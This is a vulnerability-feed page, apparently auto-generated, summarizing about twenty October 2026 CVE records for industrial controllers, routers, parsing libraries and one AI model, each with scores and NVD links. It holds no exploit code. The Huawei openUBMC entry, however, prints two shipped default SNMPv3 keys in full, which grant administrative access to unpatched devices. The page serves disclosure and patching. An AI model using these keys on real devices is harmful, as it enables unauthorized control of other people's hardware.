Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials.
https://kevwire.com/record/CVE-2026-12655
A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials. (Oct 13, 2026).
A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials. This could result in admin account takeover or unauthorized modification of device configuration.
CVSS 8.8 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12655).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12655&date=2026-10-25).
Sources:
NVD CVE-2026-12655: https://nvd.nist.gov/vuln/detail/CVE-2026-12655
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12655&date=2026-10-25
A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials. This could result in admin account takeover or unauthorized modification of device configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A denial-of-service security issue exists in the affected product and version.
https://kevwire.com/record/CVE-2026-12656
A denial-of-service security issue exists in the affected product and version. (Oct 13, 2026).
A denial-of-service security issue exists in the affected product and version. The security issue stems from improper handling of network storm traffic, which can interrupt communication, cause device faults, and affect open TCP and UDP ports. A power cycle is required to recover the device to its normal state.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12656).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12656&date=2026-10-25).
Sources:
NVD CVE-2026-12656: https://nvd.nist.gov/vuln/detail/CVE-2026-12656
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12656&date=2026-10-25
A denial-of-service security issue exists in the affected product and version. The security issue stems from improper handling of network storm traffic, which can interrupt communication, cause device faults, and affect open TCP and UDP ports. A power cycle is required to recover the device to its normal state.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface.
https://kevwire.com/record/CVE-2026-36436
An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface. (Oct 15, 2026).
An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface. An authenticated administrator can inspect the client-side code to retrieve the credential.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-36436).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-36436&date=2026-10-25).
Sources:
NVD CVE-2026-36436: https://nvd.nist.gov/vuln/detail/CVE-2026-36436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-36436&date=2026-10-25
An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface. An authenticated administrator can inspect the client-side code to retrieve the credential.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component
https://kevwire.com/record/CVE-2026-37107
An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component (Oct 13, 2026).
An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-37107).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-37107&date=2026-10-25).
Sources:
NVD CVE-2026-37107: https://nvd.nist.gov/vuln/detail/CVE-2026-37107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-37107&date=2026-10-25
An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### : Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.
https://kevwire.com/record/CVE-2026-45450
: Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic. (Oct 15, 2026).
: Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.
CVSS 8.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45450).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45450&date=2026-10-25).
Sources:
NVD CVE-2026-45450: https://nvd.nist.gov/vuln/detail/CVE-2026-45450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45450&date=2026-10-25
: Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### : Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.
https://kevwire.com/record/CVE-2026-45451
: Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic. (Oct 15, 2026).
: Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.
CVSS 8.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45451).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45451&date=2026-10-25).
Sources:
NVD CVE-2026-45451: https://nvd.nist.gov/vuln/detail/CVE-2026-45451
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45451&date=2026-10-25
: Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.
https://kevwire.com/record/CVE-2026-45452
Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic. (Oct 15, 2026).
Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.
CVSS 8.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45452).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45452&date=2026-10-25).
Sources:
NVD CVE-2026-45452: https://nvd.nist.gov/vuln/detail/CVE-2026-45452
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45452&date=2026-10-25
Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.

This issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input.
https://kevwire.com/record/CVE-2026-52394
DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input. (Oct 13, 2026).
DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-52394).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-52394&date=2026-10-25).
Sources:
NVD CVE-2026-52394: https://nvd.nist.gov/vuln/detail/CVE-2026-52394
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-52394&date=2026-10-25
DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy.
https://kevwire.com/record/CVE-2026-65198
Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy. (Oct 13, 2026).
Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy. An attacker who holds the key (recoverable from the open-source build) can authenticate SNMPv3 to, and decrypt SNMPv3 traffic from, any unit that still carries the shipped key. The build customization `manifest/build/customization/default_password.lua` sets `AuthenticationKey == EncryptionKey == 7df2f29369e3ac3245b2c9d46b67a0ecd055197e41808a34ef325db2f6422581` for the iBMC product build, and the community seed `account/manufacture/default_password.lua` sets both to `7a2f5b86f20233ec7b7bef49643fbf34d86d0cbf6f1f8f5c52d4f30d4536938b`. These are shipped constants, not per-unit values, and they are not rotated by the Administrator password reset, so they survive account provisioning. This is especially dangerous considering that SNMP access is mapped to full device administration privileges, including system reset and firmware upgrades.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65198).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65198&date=2026-10-25).
Sources:
NVD CVE-2026-65198: https://nvd.nist.gov/vuln/detail/CVE-2026-65198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65198&date=2026-10-25
Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy. An attacker who holds the key (recoverable from the open-source build) can authenticate SNMPv3 to, and decrypt SNMPv3 traffic from, any unit that still carries the shipped key. The build customization `manifest/build/customization/default_password.lua` sets `AuthenticationKey == EncryptionKey == 7df2f29369e3ac3245b2c9d46b67a0ecd055197e41808a34ef325db2f6422581` for the iBMC product build, and the community seed `account/manufacture/default_password.lua` sets both to `7a2f5b86f20233ec7b7bef49643fbf34d86d0cbf6f1f8f5c52d4f30d4536938b`. These are shipped constants, not per-unit values, and they are not rotated by the Administrator password reset, so they survive account provisioning. This is especially dangerous considering that SNMP access is mapped to full device administration privileges, including system reset and firmware upgrades.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG...
https://kevwire.com/record/CVE-2026-75826
Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG... (Oct 13, 2026).
Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG devices), RUTOS 7.22 before 7.25.2 (TAP devices), and TSWOS 1.9 before 1.10.4 (TSW and SWM devices) allows a remote authenticated attacker to execute arbitrary OS commands.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75826).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75826&date=2026-10-25).
Sources:
NVD CVE-2026-75826: https://nvd.nist.gov/vuln/detail/CVE-2026-75826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75826&date=2026-10-25
Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG devices), RUTOS 7.22 before 7.25.2 (TAP devices), and TSWOS 1.9 before 1.10.4 (TSW and SWM devices) allows a remote authenticated attacker to execute arbitrary OS commands.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <=...
https://kevwire.com/record/CVE-2026-78799
Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <=... (Oct 13, 2026).
Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <= iKuai8_3.7.23_Enterprise Build 202606021825 - Free Edition: <= iKuai 8_4.0.304-beta allows a remote attacker to execute arbitrary code.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78799).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78799&date=2026-10-25).
Sources:
NVD CVE-2026-78799: https://nvd.nist.gov/vuln/detail/CVE-2026-78799
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78799&date=2026-10-25
Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <= iKuai8_3.7.23_Enterprise Build 202606021825 - Free Edition: <= iKuai 8_4.0.304-beta allows a remote attacker to execute arbitrary code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code.
https://kevwire.com/record/CVE-2026-78802
An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code. (Oct 13, 2026).
An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78802).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78802&date=2026-10-25).
Sources:
NVD CVE-2026-78802: https://nvd.nist.gov/vuln/detail/CVE-2026-78802
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78802&date=2026-10-25
An issue in SKYWORTH DIGITAL CO.,LTD SK-WR6640X Wi-Fi 6 Dual-Band Fiber Router (AX1800M) V1.0.3 allows a remote attacker to execute arbitrary code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c.
https://kevwire.com/record/CVE-2026-95114
libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c. (Oct 13, 2026).
libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c. This allows a remote attacker to cause a denial of service
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95114).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95114&date=2026-10-25).
Sources:
NVD CVE-2026-95114: https://nvd.nist.gov/vuln/detail/CVE-2026-95114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95114&date=2026-10-25
libwebsockets contains an out-of-bounds read vulnerability in the LEJP incremental parser in lib/misc/lejp.c. This allows a remote attacker to cause a denial of service

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser
https://kevwire.com/record/CVE-2026-95115
Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser (Oct 13, 2026).
Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95115).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95115&date=2026-10-25).
Sources:
NVD CVE-2026-95115: https://nvd.nist.gov/vuln/detail/CVE-2026-95115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95115&date=2026-10-25
Buffer Overflow vulnerability in libwebsockets main 106d542c allows a remote attacker to cause a denial of service via the LEJP JSON parser

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp.
https://kevwire.com/record/CVE-2026-95121
An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp. (Oct 13, 2026).
An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp. A specially crafted MP4 file can cause an undersized rtp atom to produce a near-2^64 allocation size through an unchecked offset subtraction
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95121).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95121&date=2026-10-25).
Sources:
NVD CVE-2026-95121: https://nvd.nist.gov/vuln/detail/CVE-2026-95121
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95121&date=2026-10-25
An issue in mp4v2 2.0.0 allows an attacker to execute arbitrary code via the MP4RtpAtom::ReadHntiType() in src/atom_rtp.cpp. A specially crafted MP4 file can cause an undersized rtp atom to produce a near-2^64 allocation size through an unchecked offset subtraction

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp.
https://kevwire.com/record/CVE-2026-95122
mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp. (Oct 13, 2026).
mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp. This allows a remote attacker to cause a denial of service
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95122).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95122&date=2026-10-25).
Sources:
NVD CVE-2026-95122: https://nvd.nist.gov/vuln/detail/CVE-2026-95122
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95122&date=2026-10-25
mp4v2 2.0.0 contains a NULL pointer dereference vulnerability in MP4File::GenerateTracks() in src/mp4file.cpp. This allows a remote attacker to cause a denial of service

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled...
https://kevwire.com/record/CVE-2026-95124
Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled... (Oct 13, 2026).
Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled load_ini_buffer utility and strip_ini_cache()
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95124).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95124&date=2026-10-25).
Sources:
NVD CVE-2026-95124: https://nvd.nist.gov/vuln/detail/CVE-2026-95124
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95124&date=2026-10-25
Buffer Overflow vulnerability in madmurphy libconfini v.1.16.4 allows a remote attacker to cause a denial of service via an allocation-size mismatch between its bundled load_ini_buffer utility and strip_ini_cache()

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested...
https://kevwire.com/record/CVE-2026-95155
FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested... (Oct 15, 2026).
FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested JSON input to an application that deserializes untrusted JSON using ObjectMapper.readValue.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95155).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95155&date=2026-10-25).
Sources:
NVD CVE-2026-95155: https://nvd.nist.gov/vuln/detail/CVE-2026-95155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95155&date=2026-10-25
FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested JSON input to an application that deserializes untrusted JSON using ObjectMapper.readValue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic...
https://kevwire.com/record/CVE-2026-95179
An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic... (Oct 15, 2026).
An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic precomposition reference graph that triggers uncontrolled recursion in BaseLayer.forModel and CompositionLayer.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95179).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95179&date=2026-10-25).
Sources:
NVD CVE-2026-95179: https://nvd.nist.gov/vuln/detail/CVE-2026-95179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95179&date=2026-10-25
An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic precomposition reference graph that triggers uncontrolled recursion in BaseLayer.forModel and CompositionLayer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

